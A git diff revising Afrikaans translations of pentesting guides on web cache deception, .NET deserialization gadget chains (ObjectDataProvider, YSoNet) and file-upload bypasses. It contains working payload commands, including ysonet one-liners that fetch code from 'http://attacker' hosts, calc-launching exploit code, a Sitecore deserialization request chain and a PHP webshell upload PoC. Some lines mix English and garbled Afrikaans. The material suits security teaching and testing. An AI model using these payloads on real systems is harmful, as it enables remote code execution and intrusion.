+[https://datatracker.ietf.mrg/doc/html/rfc7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spesifiseer die aanvaarbare karakters in header name. Headers wat karakters buite die gespesifiseerde **tchar** reeks bevat, behoort idealiter 'n 400 Bad Request response te veroorsaak. In die praktyk hou servers nie altyd by hierdie standaard nie. 'n Noemenswaardige voorbeeld is Akamai, wat headers met ongeldige karakters deurstuur en enige 400 error cache, solank die `cache-control` header nie teenwoordig is nie. 'n Exploitable patroon is geïdentifiseer waar die stuur van 'n header met 'n onwettige karakter, soos `\`, tot 'n cacheable 400 Bad Request error lei.
 
 ### Finding new headers
 
-https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6
+[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
 
 ## Cache Deception
 
-Die doel van Cache Deception is om kliënte te laat laai hulpbronne wat deur die cache gestoor gaan word en wat hulle sensitiewe inligting bevat.
+The goal of Cache Deception is to make clients **load resources that are going to be saved by the cache with their sensitive information**.
 
-First of all note that **extensions** such as `.css`, `.js`, `.png` etc are usually **configured** to be **saved** in the **cache.** Therefore, if you access `www.example.com/profile.php/nonexistent.js` the cache will probably store the response because it sees the `.js` **extension**. But, if the **application** is **replaying** with the **sensitive** user contents stored in _www.example.com/profile.php_, you can **steal** those contents from other users.
+Eerstens, let daarop dat **extensions** soos `.css`, `.js`, `.png` ens. gewoonlik **gekonfigureer** is om in die **cache** **gestoor** te word. Daarom, as jy `www.example.com/profile.php/nonexistent.js` besoek, sal die cache waarskynlik die response stoor omdat dit die `.js` **extension** herken. Maar as die toepassing die **sensitive** gebruikerinhoud wat in _www.example.com/profile.php_ gestoor is, teruggee, kan jy daardie inhoud van ander users **steal**.
 
 Other things to test:
 
@@ -274,15 +273,15 @@ Another very clear example can be found in this write-up: [https://hackerone.com
 In the example, it is explained that if you load a non-existent page like _http://www.example.com/home.php/non-existent.css_ the content of _http://www.example.com/home.php_ (**with the user's sensitive information**) is going to be returned and the cache server is going to save the result.\
 Then, the **attacker** can access _http://www.example.com/home.php/non-existent.css_ in their own browser and observe the **confidential information** of the users that accessed before.
 
-Note that the **cache proxy** should be **configured** to **cache** files **based** on the **extension** of the file (_.css_) and not base on the content-type. In the example _http://www.example.com/home.php/non-existent.css_ will have a `text/html` content-type instead of a `text/css` mime type.
+Let daarop dat die cache proxy geconfigureer moet wees om lêers te cache gebaseer op die extension van die lêer (_.css_) en nie op die content-type nie. In die voorbeeld sal _http://www.example.com/home.php/non-existent.css_ 'n `text/html` content-type hê in plaas van `text/css` mime type.
 
 Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
 
 ## Outomatiese Gereedskap
 
-- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner om web cache poisoning kwetsbaarhede in 'n lys URL's te vind en verskeie injection techniques te toets.
+- [**toxicache**](https://github.com/xhzeem/toxicache): Golang-skandeerder om web cache poisoning kwetsbaarhede in 'n lys van URLs te vind en verskeie injection techniques te toets.
 
-## Verwysings
+## References
 
 - [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
 - [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities)

src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md

@@ -2,23 +2,23 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-This post is dedicated to **understand how the gadget ObjectDataProvider is exploited** to obtain RCE and **how** the Serialization libraries **Json.Net and xmlSerializer can be abused** with that gadget.
+Hierdie pos is gewy aan die begrip van hoe die gadget ObjectDataProvider uitgebuit word om RCE te verkry, en hoe die serialiseringsbiblioteke Json.Net en xmlSerializer daarmee misbruik kan word.
 
 ## ObjectDataProvider Gadget
 
-From the documentation: _the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\
+Volgens die dokumentasie: _the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\
-Ja, dit is 'n vreemde verduideliking, so kom ons kyk wat het hierdie klas wat so interessant is: Hierdie klas laat toe om **'n arbitrêre object te wrap**, gebruik _**MethodParameters**_ om **arbitrêre parameters te stel**, en dan **MethodName te gebruik om 'n arbitrêre funksie aan te roep** van die arbitrêre object wat gedefinieer is met die arbitrêre parameters.\
+Ja, dit is 'n vreemde verduideliking, so kom ons kyk wat hierdie klas het wat so interessant is: Hierdie klas laat toe om 'n arbitrêre objek te omskep, gebruik _**MethodParameters**_ om **arbitrêre parameters te stel**, en dan **MethodName te gebruik om 'n arbitrêre funksie aan te roep** van die arbitrêre objek wat met daardie parameters gedefinieer is.\
-Daarom sal die arbitrêre **object** 'n **funksie** met **parameters** uitvoer terwyl dit gedeserialiseer word.
+Daarom sal die arbitrêre **objek** 'n **funksie** met **parameters** uitvoer terwyl dit gedeserialiseer word.
 
 ### **Hoe is dit moontlik**
 
 Die **System.Windows.Data** namespace, gevind binne die **PresentationFramework.dll** by `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, is waar die ObjectDataProvider gedefinieer en geïmplementeer is.
 
-Deur [**dnSpy**](https://github.com/0xd4d/dnSpy) te gebruik kan jy die **kode inspekteer** van die klas waarin ons belangstel. In die beeld hieronder sien ons die kode van **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**
+Met behulp van [**dnSpy**](https://github.com/0xd4d/dnSpy) kan jy **die kode inspekteer** van die klas waarin ons belangstel. In die beeld hieronder sien ons die kode van **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**
 
 ![](<../../images/image (427).png>)
 
-Soos jy kan opmerk, wanneer `MethodName` gestel word, word `base.Refresh()` aangeroep, kom ons kyk wat dit doen:
+Soos jy kan sien, wanneer `MethodName` gestel word, word `base.Refresh()` aangeroep; kom ons kyk wat dit doen:
 
 ![](<../../images/image (319).png>)
 
@@ -26,13 +26,13 @@ Ok, kom ons gaan voort en kyk wat `this.BeginQuery()` doen. `BeginQuery` word de
 
 ![](<../../images/image (345).png>)
 
-Let wel dat aan die einde van die kode dit `this.QueryWorke(null)` aanroep. Kom ons kyk wat dit uitvoer:
+Let daarop dat aan die einde van die kode dit `this.QueryWorke(null)` aanroep. Kom ons kyk wat dit uitvoer:
 
 ![](<../../images/image (596).png>)
 
-Let wel dat dit nie die volledige kode van die funksie `QueryWorker` is nie, maar dit wys die interessante deel daarvan: Die kode **roep `this.InvokeMethodOnInstance(out ex);` aan;** dit is die lyn waar die **gestelde metode aangeroep word**.
+Let daarop dat dit nie die volledige kode van die funksie `QueryWorker` is nie, maar dit wys die interessante deel daarvan: Die kode **roep `this.InvokeMethodOnInstance(out ex);` aan;** dit is die reël waar die **gestelde metode uitgevoer** word.
 
-As jy wil kontroleer dat slegs deur die _**MethodName**_ te stel dit uitgevoer sal word, kan jy hierdie kode uitvoer:
+As jy wil toets dat net deur die _**MethodName**_ te stel dit uitgevoer sal word, kan jy hierdie kode hardloop:
 ```java
 using System.Windows.Data;
 using System.Diagnostics;
@@ -52,16 +52,16 @@ myODP.MethodName = "Start";
 }
 }
 ```
-Let wel dat jy as verwysing _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ moet byvoeg om `System.Windows.Data` te laai
+Let daarop dat jy as verwysing _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ moet byvoeg om `System.Windows.Data` te laai
 
 ## ExpandedWrapper
 
-Deur die vorige exploit sal daar gevalle wees waar die **object** as 'n _**ObjectDataProvider**_ instansie gedeserialiseer word (byvoorbeeld in die DotNetNuke vuln, met XmlSerializer is die object gedeserialiseer deur `GetType`). In so 'n geval sal daar **geen kennis wees van die objektipe wat in die _ObjectDataProvider_ instansie ingepak is** (bv. `Process`). Jy kan meer [inligting oor die DotNetNuke vuln hier vind](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
+Met die vorige exploit sal daar gevalle wees waar die **objek** as 'n _**ObjectDataProvider**_ instansie **gedeserialiseer** sal word (byvoorbeeld in die DotNetNuke vuln, met `XmlSerializer` is die objek gedeserialiseer deur gebruik te maak van `GetType`). Dan sal daar **geen kennis wees van die objektipe wat in die _ObjectDataProvider_ instansie ingepak is** nie (bv. `Process`). Jy kan meer [inligting oor die DotNetNuke vuln hier vind](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
 
-Hierdie klas maak dit moontlik om die **objektipe van die objekte wat in 'n gegewe instansie ingekapsuleer is, te spesifiseer**. Dus kan hierdie klas gebruik word om 'n bronobject (_ObjectDataProvider_) te kapsuleer in 'n nuwe objektipe en die eienskappe wat ons nodig het te verskaf (_ObjectDataProvider.MethodName_ en _ObjectDataProvider.MethodParameters_).\
+Hierdie klas laat toe om die **objektipe van die voorwerpe wat ingesluit is** in 'n gegewe instansie te spesifiseer. Dus kan hierdie klas gebruik word om 'n brongobjek (_ObjectDataProvider_) in 'n nuwe objektipe te inkapsuleer en die eienskappe wat ons nodig het te verskaf (_ObjectDataProvider.MethodName_ en _ObjectDataProvider.MethodParameters_).\
-This is very useful for cases as the one presented before, because we will be able to **wrap \_ObjectDataProvider**_** inside an **_**ExpandedWrapper** \_ instance and **when deserialized** this class will **create** the _**OjectDataProvider**_ object that will **execute** the **function** indicated in _**MethodName**_.
+Dit is baie nuttig vir gevalle soos die een hierbo beskryf, omdat ons in staat sal wees om **wrap \_ObjectDataProvider**_** inside an **_**ExpandedWrapper** \_ instance and **when deserialized** this class will **create** the _**OjectDataProvider**_ object that will **execute** the **function** indicated in _**MethodName**_.
 
-Jy kan hierdie wrapper met die volgende kode bekyk:
+Jy kan hierdie wrapper nagaan met die volgende kode:
 ```java
 using System.Windows.Data;
 using System.Diagnostics;
@@ -85,9 +85,9 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
 ```
 ## Json.Net
 
-In the [official web page](https://www.newtonsoft.com/json) word aangedui dat hierdie biblioteek toelaat om **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. Dus, as ons die **deserialize the ObjectDataProvider gadget** kon uitvoer, kon ons net deur 'n object te deserialiseer 'n **RCE** veroorsaak.
+In die [offisiële webblad](https://www.newtonsoft.com/json) word aangedui dat hierdie biblioteek toelaat om **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. Dus, as ons die **deserialize the ObjectDataProvider gadget** sou kon doen, sou ons 'n **RCE** veroorsaak deur net 'n object te deserialize.
 
-### Json.Net voorbeeld
+### Json.Net example
 
 Eerstens, kom ons kyk na 'n voorbeeld van hoe om 'n object met hierdie biblioteek te **serialize/deserialize**:
 ```java
@@ -134,7 +134,7 @@ Console.WriteLine(desaccount.Email);
 ```
 ### Misbruik van Json.Net
 
-Met behulp van [ysoserial.net](https://github.com/pwntester/ysoserial.net) het ek die exploit geskep:
+Deur [ysoserial.net](https://github.com/pwntester/ysoserial.net) te gebruik het ek die exploit geskep:
 ```java
 yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
 {
@@ -147,7 +147,7 @@ yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
 }
 ```
-In hierdie kode kan jy **toets the exploit**, voer dit net uit en jy sal sien dat 'n calc uitgevoer word:
+In hierdie kode kan jy **test the exploit**, voer dit net uit en jy sal sien dat calc uitgevoer word:
 ```java
 using System;
 using System.Text;
@@ -184,27 +184,27 @@ TypeNameHandling = TypeNameHandling.Auto
 }
 }
 ```
-## Gevorderde .NET gadgetkettings (YSoNet & ysoserial.net)
+## Advanced .NET Gadget Chains (YSoNet & ysoserial.net)
 
-Die ObjectDataProvider + ExpandedWrapper-tegniek wat hierbo bekendgestel is, is net een van BAIE gadgetkettings wat misbruik kan word wanneer 'n toepassing **onveilige .NET-deserialisering** uitvoer. Moderne red-team gereedskap soos **[YSoNet](https://github.com/irsdl/ysonet)** (en die ouer [ysoserial.net](https://github.com/pwntester/ysoserial.net)) outomatiseer die skep van **klaar-vir-gebruik kwaadwillige objekgrafieke** vir dosyne gadgets en serialiseringsformate.
+Die ObjectDataProvider + ExpandedWrapper-tegniek wat hierbo bekendgestel is, is slegs een van MANY gadget chains wat misbruik kan word wanneer ’n toepassing **unsafe .NET deserialization** uitvoer. Moderne red-team tooling soos **[YSoNet](https://github.com/irsdl/ysonet)** (en die ouer [ysoserial.net](https://github.com/pwntester/ysoserial.net)) outomatiseer die skep van **klaar-vir-gebruik malicious object graphs** vir dosyne gadgets en serialization formats.
 
-Hieronder is 'n samegeperste verwysing van die nuttigste kettings wat saam met *YSoNet* versend word, saam met 'n kort verduideliking van hoe hulle werk en voorbeeldopdragte om die payloads te genereer.
+Below is a condensed reference of the most useful chains shipped with *YSoNet* together with a quick explanation of how they work and example commands to generate the payloads.
 
-| Gadget-ketting | Kernidee / Primitive | Algemene serializers | YSoNet eenreël |
+| Gadget Chain | Kernidee / Primitive | Algemene Serializers | YSoNet eenreël |
-|--------------|----------------------|--------------------|------------------|
+|--------------|----------------------|----------------------|----------------|
-| **TypeConfuseDelegate** | Korrupteer die `DelegateSerializationHolder`-rekord sodat, sodra dit gematerialiseer is, die delegate na *enige* deur die aanvaller voorsiene metode wys (bv. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
+| **TypeConfuseDelegate** | Corrupts die `DelegateSerializationHolder` rekord sodat, wanneer dit geïnstantieer word, die delegate na *enige* deur die aanvaller verskafde metode wys (bv. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
-| **ActivitySurrogateSelector** | Misbruik `System.Workflow.ComponentModel.ActivitySurrogateSelector` om *om .NET ≥4.8 tipe-filtrering te omseil* en direk die **constructor** van 'n gegewe klas aan te roep of 'n C#-lêer onderweg te **compileer** | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
+| **ActivitySurrogateSelector** | Misbruik van `System.Workflow.ComponentModel.ActivitySurrogateSelector` om *bypass .NET ≥4.8 type-filtering* en direk die **constructor** van ’n gegewe klas aan te roep of ’n C#-lêer ter plaatse te samestel | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
-| **DataSetOldBehaviour** | Benut die **erfenis-XML**-voorstelling van `System.Data.DataSet` om ewekansige tipes te instansieer deur die `<ColumnMapping>` / `<DataType>` velde te vul (opsioneel die assembly te vervals met `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
+| **DataSetOldBehaviour** | Benut die **legacy XML** voorstelling van `System.Data.DataSet` om arbitrêre tipes te instansieer deur die `<ColumnMapping>` / `<DataType>` velde te vul (opsioneel deur die assembly te vervals met `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
-| **GetterCompilerResults** | Op WPF-ondersteunde runtimes (> .NET 5) ketting dit eienskaps-getters totdat dit by `System.CodeDom.Compiler.CompilerResults` kom, en **compileer** of **laai** dan 'n DLL wat met `-c` voorsien is | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
+| **GetterCompilerResults** | Op WPF-geaktiveerde runtimes (> .NET 5) kettinge property getters totdat `System.CodeDom.Compiler.CompilerResults` bereik word, en dan ’n DLL saamstel of laai wat met `-c` verskaf is | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
-| **ObjectDataProvider** (review) | Gebruik WPF `System.Windows.Data.ObjectDataProvider` om 'n ewekansige statiese metode met beheerste argumente aan te roep. YSoNet voeg 'n handige `--xamlurl` variant by om die kwaadwillige XAML op afstand te huisves | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
+| **ObjectDataProvider** (review) | Gebruik WPF `System.Windows.Data.ObjectDataProvider` om ’n arbitrêre static metode met beheerde argumente aan te roep. YSoNet voeg ’n handige `--xamlurl` variant by om die kwaadwillige XAML remote te host | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
-| **PSObject (CVE-2017-8565)** | Insluit `ScriptBlock` in `System.Management.Automation.PSObject` wat uitgevoer word wanneer PowerShell die objek deserialiseer | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
+| **PSObject (CVE-2017-8565)** | Embed `ScriptBlock` in `System.Management.Automation.PSObject` wat uitgevoer word wanneer PowerShell die object deserialiseer | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
 
 > [!TIP]
-> Alle payloads word standaard na **stdout** geskryf, wat dit eenvoudig maak om hulle in ander gereedskap te pipe (bv. ViewState-generators, base64-enkodeerders, HTTP-kliënte).
+> Al die payloads word standaard na *stdout* weggeskryf, wat dit eenvoudig maak om hulle in ander tooling te pipe (bv. ViewState generators, base64 encoders, HTTP clients).
 
-### Bou / Installeer YSoNet
+### Bouw / Installering van YSoNet
 
-As daar geen vooraf-gekodeerde binaries beskikbaar is onder *Actions ➜ Artifacts* / *Releases* nie, sal die volgende **PowerShell** eenreël 'n build-omgewing opstel, die repository kloon en alles in *Release*-modus compileer:
+As daar geen vooraf-gecompileerde binaries beskikbaar is onder *Actions ➜ Artifacts* / *Releases* nie, sal die volgende **PowerShell** eenreël-opdrag ’n build-omgewing opstel, die repository kloon en alles in *Release*-modus saamstel:
 ```powershell
 Set-ExecutionPolicy Bypass -Scope Process -Force;
 [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
@@ -218,20 +218,20 @@ msbuild ysonet.sln -p:Configuration=Release
 ```
 Die gekompileerde `ysonet.exe` kan dan gevind word onder `ysonet/bin/Release/`.
 
-### Detection & Hardening
+### Opsporing & Verharding
-* **Detecteer** onverwante child processes van `w3wp.exe`, `PowerShell.exe`, of enige proses wat deur die gebruiker verskafde data deserialiseer (e.g. `MessagePack`, `Json.NET`).
+* **Detecteer** onverwante kinderprosesse van `w3wp.exe`, `PowerShell.exe`, of enige proses wat gebruiker-gelewerde data deserialiseer (bv. `MessagePack`, `Json.NET`).
-* Skakel en **dwing type-filtering** (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *etc.*) in waar die verouderde `BinaryFormatter` / `NetDataContractSerializer` nie verwyder kan word nie.
+* Skakel in en **handhaaf tipe-filters** (`TypeFilterLevel` = *Full*, pasgemaakte `SurrogateSelector`, `SerializationBinder`, *ens.*) wanneer die verouderde `BinaryFormatter` / `NetDataContractSerializer` nie verwyder kan word nie.
-* Waar moontlik migreer na **`System.Text.Json`** of **`DataContractJsonSerializer`** met witlys-gebaseerde omskakelaars.
+* Waar moontlik migreer na **`System.Text.Json`** of **`DataContractJsonSerializer`** met witlys-gebaseerde converters.
-* Blokkeer gevaarlike WPF assemblies (`PresentationFramework`, `System.Workflow.*`) sodat dit nie in webprosesse gelaai kan word wat dit nooit behoort te benodig nie.
+* Blokkeer gevaarlike WPF-assemblies (`PresentationFramework`, `System.Workflow.*`) sodat hulle nie in webprosesse wat dit nooit behoort te benodig gelaai word nie.
 
-## Werklike sink: Sitecore convertToRuntimeHtml → BinaryFormatter
+## Werklike‑wêreld sink: Sitecore convertToRuntimeHtml → BinaryFormatter
 
-'n Praktiese .NET sink wat binne geauthentiseerde Sitecore XP Content Editor vloei bereik kan word:
+’n Praktiese .NET sink wat binne geauthentiseerde Sitecore XP Content Editor-strome bereikbaar is:
 
-- Sink API: `Sitecore.Convert.Base64ToObject(string)` verpak `new BinaryFormatter().Deserialize(...)`.
+- Sink API: `Sitecore.Convert.Base64ToObject(string)` roep `new BinaryFormatter().Deserialize(...)` aan.
-- Trigger path: pipeline `convertToRuntimeHtml` → `ConvertWebControls`, wat soek na 'n suster-element met `id="{iframeId}_inner"` en lees 'n `value` attribuut wat as base64-gekodeerde geseerialiseerde data behandel word. Die resultaat word ge-cast na string en in die HTML ingevoeg.
+- Trigger path: pipeline `convertToRuntimeHtml` → `ConvertWebControls`, wat soek na ’n sibling-element met `id="{iframeId}_inner"` en ’n `value`-attribuut lees wat as base64-gekodeerde geserialiseerde data behandel word. Die resultaat word na string omgeskakel en in die HTML ingevoeg.
 
-Minimale end‑to‑end (geauthentiseer):
+Minimale end‑tot‑end (geauthentiseer):
 ```
 // Load HTML into EditHtml session
 POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
@@ -246,7 +246,7 @@ __PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
 // Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
 GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
 ```
-- Gadget: enige BinaryFormatter-ketting wat 'n string teruggee (newe-effekte word tydens deserialisasie uitgevoer). Sien YSoNet/ysoserial.net om payloads te genereer.
+- Gadget: enige BinaryFormatter-ketting wat 'n string teruggee (sy‑effekte word tydens deserialisering uitgevoer). Sien YSoNet/ysoserial.net om payloads te genereer.
 
 Vir 'n volledige ketting wat pre‑auth begin met HTML cache poisoning in Sitecore en na hierdie sink lei:
 

src/pentesting-web/file-upload/README.md

@@ -1,10 +1,10 @@
-# Lêeroplaai
+# Lêer-oplaai
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Algemene metodologie vir lêeroplaai
+## Algemene metodologie vir lêer-oplaai
 
-Other useful extensions:
+Ander nuttige extensies:
 
 - **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
 - **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
@@ -15,13 +15,13 @@ Other useful extensions:
 - **Perl**: _.pl, .cgi_
 - **Erlang Yaws Web Server**: _.yaws_
 
-### Omseil kontroles op lêeruitbreidings
+### Omseil kontroles op lêer-ekstensies
 
-1. As dit van toepassing is, **kontroleer** die **vorige extensies.** Toets hulle ook deur sommige **hoofdletters** te gebruik: _pHp, .pHP5, .PhAr ..._
+1. Indien van toepassing, **kontroleer** die **vorige extensies.** Toets dit ook met sommige **hoofletters**: _pHp, .pHP5, .PhAr ..._
-2. _Kontroleer **om 'n geldige extensie voor** die uitvoeringsextensie by te voeg (gebruik ook die vorige extensies):_
+2. _Toets om **'n geldige extensie vóór** die uitvoerings-extensie te voeg (gebruik ook vorige extensies):_
 - _file.png.php_
 - _file.png.Php5_
-3. Probeer om **spesiale karakters aan die einde** by te voeg. Jy kan Burp gebruik om alle **ascii** en **Unicode** karakters te **bruteforce**. (_Let wel dat jy ook die **vorige** genoemde **extensies** kan probeer._)
+3. Probeer om **spesiale karakters aan die einde toe te voeg.** Jy kan Burp gebruik om **bruteforce** al die **ascii** en **Unicode** karakters. (_Let wel dat jy ook kan probeer om die **vroeggenoemde** **extensies** te gebruik_)
 - _file.php%20_
 - _file.php%0a_
 - _file.php%00_
@@ -31,7 +31,7 @@ Other useful extensions:
 - _file._
 - _file.php...._
 - _file.pHp5...._
-4. Probeer om die beskermings te omseil deur die server-side **extension parser** te mislei met tegnieke soos **doubling** die **extension** of **adding junk** data (**null** bytes) tussen extensies. _Jy kan ook die **vorige extensies** gebruik om 'n beter payload voor te berei._
+4. Probeer om die beskermings te omseil deur die bediener se **extension parser** te mislei met tegnieke soos **doubling** die **extension** of **adding junk** data (**null** bytes) tussen extensies. _Jy kan ook die **vorige extensies** gebruik om 'n beter payload voor te berei._
 - _file.png.php_
 - _file.png.pHp5_
 - _file.php#.png_
@@ -40,12 +40,12 @@ Other useful extensions:
 - _file.php%0a.png_
 - _file.php%0d%0a.png_
 - _file.phpJunk123png_
-5. Voeg **nog 'n laag extensies** by die vorige toets:
+5. Voeg **nog 'n laag van extensies** by by die vorige toets:
 - _file.png.jpg.php_
 - _file.php%00.png%00.jpg_
-6. Probeer om die **exec extension voor die geldige extensie** te plaas en hoop dat die bediener verkeerd gekonfigureer is. (nuttig om Apache misconfigurasies uit te buit waar enigiets met die extensie .php, maar nie noodwendig eindigend in .php nie, kode sal uitvoer):
+6. Probeer om die **exec extension voor die geldige extensie** te plaas en hoop die bediener is verkeerd gekonfigureer. (nuttig om Apache-misconfigurasies uit te buit waar enigiets met die ekstensie **.php**, maar nie noodwendig eindigend op .php nie, kode sal uitvoer):
 - _ex: file.php.png_
-7. Gebruik **NTFS alternate data stream (ADS)** in **Windows**. In hierdie geval sal 'n kolonkarakter ":" ingevoeg word na 'n verbode extensie en voor 'n toegelate een. As gevolg daarvan sal 'n **leë lêer met die verbode extensie** op die bediener geskep word (bv. "file.asax:.jpg”). Hierdie lêer kan later geredigeer word met ander tegnieke soos die gebruik van sy kort lêernaam. Die "**::$data**” patroon kan ook gebruik word om nie-leë lêers te skep. Daarom kan dit nuttig wees om 'n puntkarakter na hierdie patroon te voeg om verdere beperkings te omseil (bv. "file.asp::$data.”)
+7. Gebruik van **NTFS alternate data stream (ADS)** in **Windows**. In hierdie geval sal 'n kolonkarakter ":" ingevoeg word ná 'n verbode extensie en voor 'n toegelate een. As gevolg daarvan sal 'n **leë lêer met die verbode extensie** op die bediener geskep word (bv. "file.asax:.jpg"). Hierdie lêer kan later deur ander tegnieke gewysig word, soos deur sy short filename te gebruik. Die "**::$data**" patroon kan ook gebruik word om nie-leë lêers te skep. Dus kan die byvoeging van 'n puntkarakter na hierdie patroon ook nuttig wees om verdere beperkings te omseil (bv. "file.asp::$data.")
 8. Probeer om die lêernaamlimiete te breek. Die geldige extensie word afgesny. En die kwaadwillige PHP bly oor. AAA<--SNIP-->AAA.php
 
 ```
@@ -61,13 +61,13 @@ AAA<--SNIP 232 A-->AAA.php.png
 
 #### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
 
-Sommige upload handlers sny of normaliseer puntkarakters aan die einde van die gestoorde lêernaam. In UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) weergawes voor 2.9.1 kan jy die extensie-validasie omseil deur:
+Party upload handlers sny of normaliseer agtergestelde puntkarakters uit die gestoor lêernaam. In UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) weergawes voor 2.9.1, kan jy extensie-validering omseil deur:
 
-- Deur 'n geldige image MIME en magic header te gebruik (bv. PNG se `\x89PNG\r\n\x1a\n`).
+- Gebruik 'n geldige image MIME en magic header (bv. PNG se `\x89PNG\r\n\x1a\n`).
-- Die opgelaaide lêer te noem met 'n PHP-extensie gevolg deur 'n punt, bv. `shell.php.`.
+- Noem die oplaai-lêer met 'n PHP-extensie gevolg deur 'n punt, bv. `shell.php.`.
-- Die bediener verwyder die agtervoegende punt en bewaar `shell.php`, wat sal uitvoer as dit in 'n web-aangewese gids geplaas word (standaard public storage soos `/storage/files/`).
+- Die bediener verwyder die agterste punt en stoor `shell.php`, wat sal uitvoer as dit in 'n web-bedienende gids geplaas word (standaard publieke stoor soos `/storage/files/`).
 
-Minimal PoC (Burp Repeater):
+Minimale PoC (Burp Repeater):
 ```http
 POST /profile/avatar HTTP/1.1
 Host: target
@@ -84,59 +84,59 @@ Roep dan die gestoorde pad aan (tipies in Laravel + LFM):
 ```
 GET /storage/files/0xdf.php?cmd=id
 ```
-Mitigasies:
+Versagtingsmaatreëls:
-- Werk op unisharp/laravel-filemanager na ≥ 2.9.1.
+- Opgradeer unisharp/laravel-filemanager na ≥ 2.9.1.
-- Dwing streng server-side allowlists af en valideer die gestoorde lêernaam weer.
+- Dwing streng server-side allowlists af en hervalideer die gestoorde lêernaam.
-- Bedien uploads vanaf nie-uitvoerbare liggings.
+- Bedien uploads vanaf nie-uitvoerbare plekke.
 
-### Bypass Content-Type, Magic Number, Compression & Resizing
+### Omseil Content-Type, Magic Number, Compression & Resizing
 
-- Bypass **Content-Type** checks deur die **value** van die **Content-Type** **header** te stel op: _image/png_ , _text/plain , application/octet-stream_
+- Bypass **Content-Type** checks by setting the **value** of the **Content-Type** **header** to: _image/png_ , _text/plain , application/octet-stream_
 1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
